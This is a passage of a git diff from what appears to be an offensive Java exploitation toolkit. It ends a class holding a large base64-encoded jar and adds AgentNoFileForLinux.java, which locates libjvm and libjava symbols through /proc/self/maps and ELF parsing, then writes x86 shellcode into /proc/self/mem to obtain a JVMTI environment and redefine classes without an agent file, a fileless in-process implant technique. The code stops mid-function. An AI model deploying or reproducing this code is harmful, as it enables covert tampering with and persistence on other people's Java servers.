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YXNzTG9hZGVyUHJvdmlkZXIuY2xhc3NQSwECFAMKAAAACAACbMs83F+eR7QBAADfAgAANAAAAAAAAAAAAAAApIHq4QgAamF2YXNzaXN0L3V0aWwvcHJveHkvUHJveHlGYWN0b3J5JFByb3h5RGV0YWlscy5jbGFzc1BLAQIUAwoAAAAIAAJsyzzIxgfOejIAAIVsAAAnAAAAAAAAAAAAAACkgfDjCABqYXZhc3Npc3QvdXRpbC9wcm94eS9Qcm94eUZhY3RvcnkuY2xhc3NQSwECFAMKAAAACAACbMs8fwpKg5wAAAD5AAAAJgAAAAAAAAAAAAAApIGvFgkAamF2YXNzaXN0L3V0aWwvcHJveHkvUHJveHlPYmplY3QuY2xhc3NQSwECFAMKAAAACAACbMs8Nk2VA2oEAAB2CAAAMQAAAAAAAAAAAAAApIGPFwkAamF2YXNzaXN0L3V0aWwvcHJveHkvUHJveHlPYmplY3RJbnB1dFN0cmVhbS5jbGFzc1BLAQIUAwoAAAAIAAJsyzz2y5hlSgQAAA8IAAAyAAAAAAAAAAAAAACkgUgcCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9Qcm94eU9iamVjdE91dHB1dFN0cmVhbS5jbGFzc1BLAQIUAwoAAAAIAAJsyzwxUmWb1gEAAN0DAAA+AAAAAAAAAAAAAACkgeIgCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9SdW50aW1lU3VwcG9ydCREZWZhdWx0TWV0aG9kSGFuZGxlci5jbGFzc1BLAQIUAwoAAAAIAAJsyzyJTn6WgAkAAAMUAAApAAAAAAAAAAAAAACkgRQjCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9SdW50aW1lU3VwcG9ydC5jbGFzc1BLAQIUAwoAAAAIAAJsyzzjhk1vjwEAAJUCAAAsAAAAAAAAAAAAAACkgdssCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkMS5jbGFzc1BLAQIUAwoAAAAIAAJsyzwPVUv7kQEAAJ8CAAAsAAAAAAAAAAAAAACkgbQuCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkMi5jbGFzc1BLAQIUAwoAAAAIAAJsyzwRwR6b8wEAAJcDAAAsAAAAAAAAAAAAAACkgY8wCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkMy5jbGFzc1BLAQIUAwoAAAAIAAJsyzw1dWL71AEAADwDAAAsAAAAAAAAAAAAAACkgcwyCQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkNC5jbGFzc1BLAQIUAwoAAAAIAAJsyzwsJgZpsAEAAOkCAAAsAAAAAAAAAAAAAACkgeo0CQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkNS5jbGFzc1BLAQIUAwoAAAAIAAJsyzwBdac93wEAAHgDAAAsAAAAAAAAAAAAAACkgeQ2CQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMkNi5jbGFzc1BLAQIUAwoAAAAIAAJsyzyTEpVpQgUAAJsNAAAqAAAAAAAAAAAAAACkgQ05CQBqYXZhc3Npc3QvdXRpbC9wcm94eS9TZWN1cml0eUFjdGlvbnMuY2xhc3NQSwECFAMKAAAACAACbMs8Ojf05yYCAAAZBAAALAAAAAAAAAAAAAAApIGXPgkAamF2YXNzaXN0L3V0aWwvcHJveHkvU2VyaWFsaXplZFByb3h5JDEuY2xhc3NQSwECFAMKAAAACAACbMs8cKoBVgcHAABRDgAAKgAAAAAAAAAAAAAApIEHQQkAamF2YXNzaXN0L3V0aWwvcHJveHkvU2VyaWFsaXplZFByb3h5LmNsYXNzUEsBAhQDCgAAAAgAAmzLPJiNBCzsAAAAWQEAABwAAAAAAAAAAAAAAKSBVkgJAGphdmFzc2lzdC91dGlsL1RyaWdnZXIuY2xhc3NQSwECFAMKAAAAAAANbMs8AAAAAAAAAAAAAAAADwAAAAAAAAAAABAA7UF8SQkATUVUQS1JTkYvbWF2ZW4vUEsBAhQDCgAAAAAADWzLPAAAAAAAAAAAAAAAABkAAAAAAAAAAAAQAO1BqUkJAE1FVEEtSU5GL21hdmVuL2phdmFzc2lzdC9QSwECFAMKAAAAAAANbMs8AAAAAAAAAAAAAAAAIwAAAAAAAAAAABAA7UHgSQkATUVUQS1JTkYvbWF2ZW4vamF2YXNzaXN0L2phdmFzc2lzdC9QSwECFAMKAAAACAD5a8s82kx7wG0GAADxFwAAKgAAAAAAAAAAAAAApIEhSgkATUVUQS1JTkYvbWF2ZW4vamF2YXNzaXN0L2phdmFzc2lzdC9wb20ueG1sUEsBAhQDCgAAAAgADWzLPOQooFthAAAAawAAADEAAAAAAAAAAAAAAKSB1lAJAE1FVEEtSU5GL21hdmVuL2phdmFzc2lzdC9qYXZhc3Npc3QvcG9tLnByb3BlcnRpZXNQSwUGAAAAAIYBhgGYggAAhlEJAAAA"; + } + + public Class defineClass(byte[] classBytes) { + return super.defineClass(classBytes, 0, classBytes.length); + } +} diff --git a/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForLinux.java b/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForLinux.java new file mode 100644 index 0000000..0fbb407 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/template/Agent/AgentNoFileForLinux.java @@ -0,0 +1,259 @@ +package com.qi4l.JYso.template.Agent; + +import sun.misc.Unsafe; + +import java.io.BufferedReader; +import java.io.FileReader; +import java.io.IOException; +import java.io.RandomAccessFile; +import java.lang.instrument.ClassDefinition; +import java.lang.reflect.Constructor; +import java.lang.reflect.Method; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; + +public class AgentNoFileForLinux { + private static final int SHT_DYNSYM = 11; + private static final int STT_FUNC = 2; + private static final int STT_GNU_IFUNC = 10; + public static Unsafe unsafe = getUnsafe(); + + private static int ELF_ST_TYPE(int x) { + return (x & 0xf); + } + + public static sun.misc.Unsafe getUnsafe() { + sun.misc.Unsafe unsafe = null; + try { + if (Class.forName(new Throwable().getStackTrace()[1].getClassName()).getClassLoader() == null) { + unsafe = sun.misc.Unsafe.getUnsafe(); + } + } catch (ClassNotFoundException ignored) { + } + + if (unsafe == null) { + try { + Class gsonClass = Class.forName("com.google.gson.internal.reflect.UnsafeReflectionAccessor"); + java.lang.reflect.Field field = gsonClass.getDeclaredField("theUnsafe"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception ignored) { + } + } + + if (unsafe == null) { + try { + Class nettyClass = Class.forName("io.netty.util.internal.shaded.org.jctools.util.UnsafeAccess"); + java.lang.reflect.Field field = nettyClass.getDeclaredField("UNSAFE"); + field.setAccessible(true); + unsafe = (sun.misc.Unsafe) field.get(null); + } catch (Exception ignored) { + } + } + + if (unsafe == null) { + try { + java.lang.reflect.Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + unsafe = (sun.misc.Unsafe) theUnsafeField.get(null); + } catch (Exception ignored) { + } + } + + return unsafe; + } + + public static void redefineClasses(String className, byte[] classBody) throws Exception { +// Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); +// Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); +// field1.setAccessible(true); +// Field modifiersField = Field.class.getDeclaredField("modifiers"); +// modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL); +// field1.setBoolean(null, true); + + FileReader fin = new FileReader("/proc/self/maps"); + BufferedReader reader = new BufferedReader(fin); + String line; + long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0; + while ((line = reader.readLine()) != null) { + String[] splits = line.trim().split(" "); + if (line.endsWith("libjava.so") && RandomAccessFile_length == 0) { + String[] addr_range = splits[0].split("-"); + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; + RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase); + } else if (line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) { + String[] addr_range = splits[0].split("-"); + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; + JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase); + } + + if (JNI_GetCreatedJavaVMs != 0 && RandomAccessFile_length != 0) + break; + } + fin.close(); + + //修改Java_java_io_RandomAccessFile_open0的native代码,调用JNI_GetCreatedJavaVMs获取JavaVM,再通过JavaVM获取jvmtienv + RandomAccessFile fout = new RandomAccessFile("/proc/self/mem", "rw"); + //RSP 16字节对齐 + byte[] stack_align = {0x55, 0x48, (byte) 0x89, (byte) 0xe5, 0x48, (byte) 0xc7, (byte) 0xc0, 0xf, 0, 0, 0, 0x48, (byte) 0xf7, (byte) 0xd0}; + + byte[] movabs_rax = {0x48, (byte) 0xb8}; + ByteBuffer buffer = ByteBuffer.allocate(Long.SIZE / Byte.SIZE); + buffer.order(ByteOrder.LITTLE_ENDIAN); + buffer.putLong(0, JNI_GetCreatedJavaVMs); + + byte[] b = {0x48, (byte) 0x83, (byte) 0xEC, 0x40, 0x48, 0x31, (byte) 0xF6, 0x48, (byte) 0xFF, (byte) 0xC6, 0x48, (byte) 0x8D, 0x54, 0x24, 0x04, 0x48, + (byte) 0x8D, 0x7C, 0x24, 0x08, (byte) 0xFF, (byte) 0xD0, 0x48, (byte) 0x8B, 0x7C, 0x24, 0x08, 0x48, (byte) 0x8D, 0x74, 0x24, 0x10, + (byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10, + 0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte) 0xC9, (byte) 0xC3}; + + int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length; + long landingpad = RandomAccessFile_length; + + byte[] backup = new byte[shellcode_len]; + fout.seek(landingpad); + fout.read(backup); + + fout.seek(landingpad); + fout.write(stack_align); + fout.write(movabs_rax); + fout.write(buffer.array()); + fout.write(b); + fout.close(); + + long native_jvmtienv = fout.length(); //触发执行 +// System.out.printf("native_jvmtienv %x\n", native_jvmtienv); + + //恢复代码 + fout = new RandomAccessFile("/proc/self/mem", "rw"); + fout.seek(RandomAccessFile_length); + fout.write(backup); + fout.close(); + + //libjvm.so的jvmti_RedefineClasses函数会校验if ( (*((_BYTE *)jvmtienv + 361) & 2) != 0 ) + unsafe.putByte(native_jvmtienv + 361, (byte) 2); + //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 + long JPLISAgent = unsafe.allocateMemory(0x1000); + unsafe.putLong(JPLISAgent + 8, native_jvmtienv); + + redefineClasses(className, classBody, JPLISAgent); + fout.getFD(); + + } + + static long find_symbol(String elfpath, String sym, long libbase) throws IOException { + long func_ptr = 0; + RandomAccessFile fin = new RandomAccessFile(elfpath, "r"); + + byte[] e_ident = new byte[16]; + fin.read(e_ident); + short e_type = Short.reverseBytes(fin.readShort()); + short e_machine = Short.reverseBytes(fin.readShort()); + int e_version = Integer.reverseBytes(fin.readInt()); + long e_entry = Long.reverseBytes(fin.readLong()); + long e_phoff = Long.reverseBytes(fin.readLong()); + long e_shoff = Long.reverseBytes(fin.readLong()); + int e_flags = Integer.reverseBytes(fin.readInt()); + short e_ehsize = Short.reverseBytes(fin.readShort()); + short e_phentsize = Short.reverseBytes(fin.readShort()); + short e_phnum = Short.reverseBytes(fin.readShort()); + short e_shentsize = Short.reverseBytes(fin.readShort()); + short e_shnum = Short.reverseBytes(fin.readShort()); + short e_shstrndx = Short.reverseBytes(fin.readShort()); + + int sh_name = 0; + int sh_type = 0; + long sh_flags = 0; + long sh_addr = 0; + long sh_offset = 0; + long sh_size = 0; + int sh_link = 0; + int sh_info = 0; + long sh_addralign = 0; + long sh_entsize = 0; + + for (int i = 0; i < e_shnum; ++i) { + fin.seek(e_shoff + i * 64); + sh_name = Integer.reverseBytes(fin.readInt()); + sh_type = Integer.reverseBytes(fin.readInt()); + sh_flags = Long.reverseBytes(fin.readLong()); + sh_addr = Long.reverseBytes(fin.readLong()); + sh_offset = Long.reverseBytes(fin.readLong()); + sh_size = Long.reverseBytes(fin.readLong()); + sh_link = Integer.reverseBytes(fin.readInt()); + sh_info = Integer.reverseBytes(fin.readInt()); + sh_addralign = Long.reverseBytes(fin.readLong()); + sh_entsize = Long.reverseBytes(fin.readLong()); + if (sh_type == SHT_DYNSYM) { + break; + } + } + + int symtab_shdr_sh_link = sh_link; + long symtab_shdr_sh_size = sh_size; + long symtab_shdr_sh_entsize = sh_entsize; + long symtab_shdr_sh_offset = sh_offset; + + fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize); + sh_name = Integer.reverseBytes(fin.readInt()); + sh_type = Integer.reverseBytes(fin.readInt()); + sh_flags = Long.reverseBytes(fin.readLong()); + sh_addr = Long.reverseBytes(fin.readLong()); + sh_offset = Long.reverseBytes(fin.readLong()); + sh_size = Long.reverseBytes(fin.readLong()); + sh_link = Integer.reverseBytes(fin.readInt()); + sh_info = Integer.reverseBytes(fin.readInt()); + sh_addralign = Long.reverseBytes(fin.readLong()); + sh_entsize = Long.reverseBytes(fin.readLong()); + + long symstr_shdr_sh_offset = sh_offset; + + long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0; + for (long i = 0; i < cnt; ++i) { + fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i); + int st_name = Integer.reverseBytes(fin.readInt()); + byte st_info = fin.readByte(); + byte st_other = fin.readByte(); + short st_shndx = 